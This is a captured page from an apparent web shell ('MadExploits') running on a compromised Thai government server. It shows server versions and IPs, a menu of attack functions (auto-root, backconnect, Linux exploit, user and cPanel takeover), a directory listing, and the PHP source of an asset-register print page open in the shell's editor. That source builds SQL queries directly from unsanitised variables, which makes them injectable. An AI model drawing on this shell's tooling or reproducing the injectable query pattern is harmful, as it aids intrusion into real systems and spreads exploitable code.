Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
asset /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
asset.php
89.73
KB
-rw-r--r--
asset_budget_type.php
6.99
KB
-rw-r--r--
asset_building.php
7.37
KB
-rw-r--r--
asset_code_model.php
7.75
KB
-rw-r--r--
asset_company.php
9.95
KB
-rw-r--r--
asset_form_upload.php
4.74
KB
-rw-r--r--
asset_list.php
12.23
KB
-rw-r--r--
asset_method.php
6.91
KB
-rw-r--r--
asset_notification.php
38.37
KB
-rw-r--r--
asset_permission.php
13.12
KB
-rw-r--r--
asset_print.php
9.88
KB
-rw-r--r--
asset_print1.php
8.43
KB
-rw-r--r--
asset_print_lend.php
3.49
KB
-rw-r--r--
asset_print_lend1.php
9.59
KB
-rw-r--r--
asset_print_lend2.php
8.85
KB
-rw-r--r--
asset_print_lendAll.php
3.27
KB
-rw-r--r--
asset_print_lendAll1.php
9.84
KB
-rw-r--r--
asset_print_qrcode.php
10.28
KB
-rw-r--r--
asset_print_qrcode1.php
1.45
KB
-rw-r--r--
asset_report1.php
20
KB
-rw-r--r--
asset_report23.php
20.09
KB
-rw-r--r--
asset_report4.php
19.76
KB
-rw-r--r--
asset_report_to_excell.php
6.54
KB
-rw-r--r--
asset_set.php
8.43
KB
-rw-r--r--
asset_status3.php
85.25
KB
-rw-r--r--
asset_status40.php
85.27
KB
-rw-r--r--
asset_type.php
9.5
KB
-rw-r--r--
index.php
5.76
KB
-rw-r--r--
livesearch.php
2.11
KB
-rw-r--r--
livesearch_notification.php
954
B
-rw-r--r--
manual.php
1.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : asset_print.php
<?php session_start(); ?> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="stylesheet" href="../../../css/mm_training.css"> <?php require_once "../../../amssplus_connect.php"; include("../../../include/time_inc.php"); //ส่วนหัว echo "<div align=right> | <a href='javascript:window.print();'>พิมพ์</a> | <a href='javascript:window.close();'>ปิด</a> </div>"; echo "<br>"; echo "<table width='98%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>ทะเบียนคุมทรัพย์สิน</strong></font></td></tr>"; echo "<tr align='right'> <td>ส่วนราชการ ".$office." <br>หน่วยงาน งานพัสดุ </td></tr>"; echo "</table>"; //ส่วนแสดงรายละเอียด $sql = "SELECT * FROM asset_main WHERE id='$id' "; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); $unit =$result['unit']; $price =$result['price']; $code_asset =$result['code_asset']; $building =$result['building']; $floor =$result['floor']; $room =$result['room']; $code_type =$result['code_type']; $sql_type = "SELECT * FROM asset_type WHERE code='$code_type' "; $dbquery_type = mysqli_query($connect,$sql_type); $result_type = mysqli_fetch_array($dbquery_type); $name_type =$result_type['name']; $life =$result_type['life']; $depreciation_rate =$result_type['depreciation_rate']; $code_list =$result['code_list']; $sql_list = "SELECT * FROM asset_list WHERE code_type='$code_type' AND code='$code_list' "; $dbquery_list = mysqli_query($connect,$sql_list); $result_list = mysqli_fetch_array($dbquery_list); $name_list =$result_list['name']; $workgroup =$result['workgroup']; if($workgroup=='0'){ $workgroup_desc=$office_name; } $sql_workgroup = "SELECT * FROM system_workgroup WHERE workgroup='$workgroup' "; $dbquery_workgroup = mysqli_query($connect,$sql_workgroup); $result_workgroup = mysqli_fetch_array($dbquery_workgroup); $workgroup_desc=$result_workgroup['workgroup_desc']; $company_id =$result['company_id']; $sql_company = "SELECT * FROM asset_company WHERE id='$company_id' "; $dbquery_company = mysqli_query($connect,$sql_company); $result_company = mysqli_fetch_array($dbquery_company); if($result_company['tel']!=''){ $tel="โทร.".$result_company['tel']; } $name_company=$result_company['name']; $address_company=$result_company['address']." ".$tel; $officer_person =$result['officer_person']; $sql_person = "SELECT * FROM person_main WHERE person_id='$officer_person' "; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $officer_person_name=$result_person['prename']."".$result_person['name']." ".$result_person['surname']; $officer_date = thai_date_2($result['officer_date']); $asset_date = thai_date_2($result['asset_date']); $budget_type_id =$result['budget_type_id']; $sql_budget = "SELECT * FROM asset_budget_type WHERE id='$budget_type_id' "; $dbquery_budget = mysqli_query($connect,$sql_budget); $result_budget = mysqli_fetch_array($dbquery_budget); $budget_type_name=$result_budget['name']; $method_id =$result['method_id']; $sql_method = "SELECT * FROM asset_method WHERE id='$method_id' "; $dbquery_method = mysqli_query($connect,$sql_method); $result_method = mysqli_fetch_array($dbquery_method); $method_name=$result_method['name']; $status =$result['status']; switch ($status){ case 1 : $status_name="ใช้งาน"; break; case 2 : $status_name="ยืม"; break; case 3 : $status_name="โอน"; break; case 4 : $status_name="จำหน่าย"; break; case 10 : $status_name="<font color=red>ส่งงานซ่อมบำรุง</font>"; break; case 40 : $status_name="<font color=red>รอจำหน่าย</font>"; break; } $remark_status =$result['remark_status']; $photo =$result['photo']; $photo_qrcode =$result['photo_qrcode']; //แสดงข้อมูล echo "<table align=center>"; echo "<tr>"; echo "<td valign=top><img src='../../../$photo' width='120' border=0><br><img src='../../../$photo_qrcode' width='120' border=0></td>"; echo "<td width=10> </td>"; echo "<td valign=top>"; echo "<font color='#c0c0c0'>ประเภท</font> ".$name_type." (".$code_type.")".str_repeat(" ", 10)."<font color='#c0c0c0'>รายการ</font> ".$name_list." (".$code_list.")<br>"; echo "<font color='#c0c0c0'>รหัส</font> ".$code_asset."<br>"; echo "<font color='#c0c0c0'>ลักษณะ/คุณสมบัติ</font> ".$result['property']."".str_repeat(" ", 10)."<font color='#c0c0c0'>รุ่น/แบบ</font> ".$result['model']."<br>"; echo "<font color='#c0c0c0'>สถานที่ตั้ง/หน่วยงานที่รับผิดชอบ</font> ".$workgroup_desc."".str_repeat(" ", 10)."<font color='#c0c0c0'>อาคาร</font> ".$building."".str_repeat(" ", 10)."<font color='#c0c0c0'>ชั้น</font> ".$floor."".str_repeat(" ", 10)."<font color='#c0c0c0'>ห้อง</font> ".$room."<br>"; echo "<font color='#c0c0c0'>ผู้ถือครอง</font> ".$officer_person_name."".str_repeat(" ", 10)."<font color='#c0c0c0'></font> ".$officer_date."<br>"; echo "<font color='#c0c0c0'>ชื่อผู้ขาย/ผู้รับจ้าง/ผู้บริจาค</font> ".$name_company."".str_repeat(" ", 10)."<font color='#c0c0c0'>ที่อยู่</font> ".$address_company."<br>"; echo "<font color='#c0c0c0'>ประเภทเงิน</font> ".$budget_type_name."".str_repeat(" ", 10)."<font color='#c0c0c0'>วิธีการได้มา</font> ".$method_name."".str_repeat(" ", 10)."<font color='#c0c0c0'>สถานะ</font> ".$status_name."<br>"; // if ($status!='1'){ echo "<font color='#c0c0c0'>หมายเหตุ</font> ".$remark_status."<br>"; // } echo "<font color='#c0c0c0'>ที่เอกสาร</font> ".$result['book']."".str_repeat(" ", 10)."<font color='#c0c0c0'></font> ".$asset_date."".str_repeat(" ", 10)."<font color='#c0c0c0'>จำนวนหน่วย</font> ".$unit."".str_repeat(" ", 10)."<font color='#c0c0c0'>ราคาต่อหน่วย/ชุด/กลุ่ม</font> ".number_format($price,2)." <font color='#c0c0c0'>บาท</font><br>"; echo "<font color='#c0c0c0'>อายุการใช้งาน</font> ".$life." <font color='#c0c0c0'>ปี</font>".str_repeat(" ", 10)."<font color='#c0c0c0'>อัตราค่าเสื่อมราคาต่อปี</font> ".$depreciation_rate."%"; echo "</td>"; echo "</tr>"; echo "</table>"; echo "<table class='myTableAcc'>"; echo "<tr> <th>ปีงบประมาณ</th> <th colspan=2>วัน เดือน ปี</th> <Th align=center width='120'>มูลค่ารวม</Th> <Th align=center width='200'>อายุใช้งาน</Th> <Th align=center width='135'>ค่าเสื่อมราคาประจำปี</Th> <Th align=center width='120'>ค่าเสื่อมราคาสะสม</Th> <Th align=center width='120'>มูลค่าสุทธิ</Th> </tr>"; $sql_dep = "SELECT * FROM asset_depreciation WHERE asset_id='$id' ORDER BY depreciation_year"; $dbquery_dep = mysqli_query($connect,$sql_dep); while($result_dep = mysqli_fetch_array($dbquery_dep)){ echo "<tr> <th>".($result_dep['depreciation_year']+543)."</th> <td align=center width='10%'>".thai_date_short_1($result_dep['start_period'])."</td> <td align=center width='10%'>".thai_date_short_1($result_dep['end_period'])."</td> <td align=center width='15%'>".number_format($result_dep['cost'], 2)."</td> <td align=center width='10%'>".$result_dep['life_inyear_budget']."</td> <td align=center width='15%'>".number_format($result_dep['depreciation'],2)."</td> <td align=center width='15%'>".number_format($result_dep['depreciation_plus'],2)."</td> <td align=center width='15%'>".number_format($result_dep['net_value'],2)."</td> </tr>"; } //$asset_date =thai_date_3($result['asset_date']); //แสดงรูปแบบวันที่ Y-m-d เป็นวันที่ไทย echo "</table>"; //สิ้นสุด - คำนวณค่าเสื่อมราคา echo "<br>"; $sql_noti = "SELECT * FROM asset_notification WHERE asset_id='$id' ORDER BY order_no"; $dbquery_noti = mysqli_query($connect,$sql_noti); $num_rows = mysqli_num_rows($dbquery_noti); if($num_rows=='0'){ echo "<center><font color='#006666' size='3'><strong>ไม่มี - ประวัติการซ่อมบำรุงรักษาทรัพย์สิน</strong></font></center>"; }else{ echo "<DIV style=\"page-break-after:always\"></DIV>"; echo "<br>"; echo "<center><font color='#006666' size='3'><strong>ประวัติการซ่อมบำรุงรักษาทรัพย์สิน</strong></font></center>"; echo "<table class='myTableAcc'>"; echo "<tr> <th width=50>ครั้งที่</th> <Th width=200>วัน เดือน ปี</Th> <Th>รายการ</Th> <Th width=100>จำนวนเงิน</Th> <Th nowrap>หมายเหตุ</Th> </tr>"; $N=1; while($result_noti = mysqli_fetch_array($dbquery_noti)){ echo "<tr>"; echo "<td align=center valign=top width=50>".$N."</td>"; echo "<td align=center valign=top width=200>".thai_date_5($result_noti['order_datetime'])."</td>"; echo "<td valign=top>".$result_noti['subject']."</td>"; echo "<td align=right valign=top width=100>".number_format($result_noti['budget'],2)."</td>"; echo "<td valign=top width=300>".$result_noti['note']."</td>"; echo "</tr>"; $N++; } echo "</table>"; } echo "<br>"; ?>
Close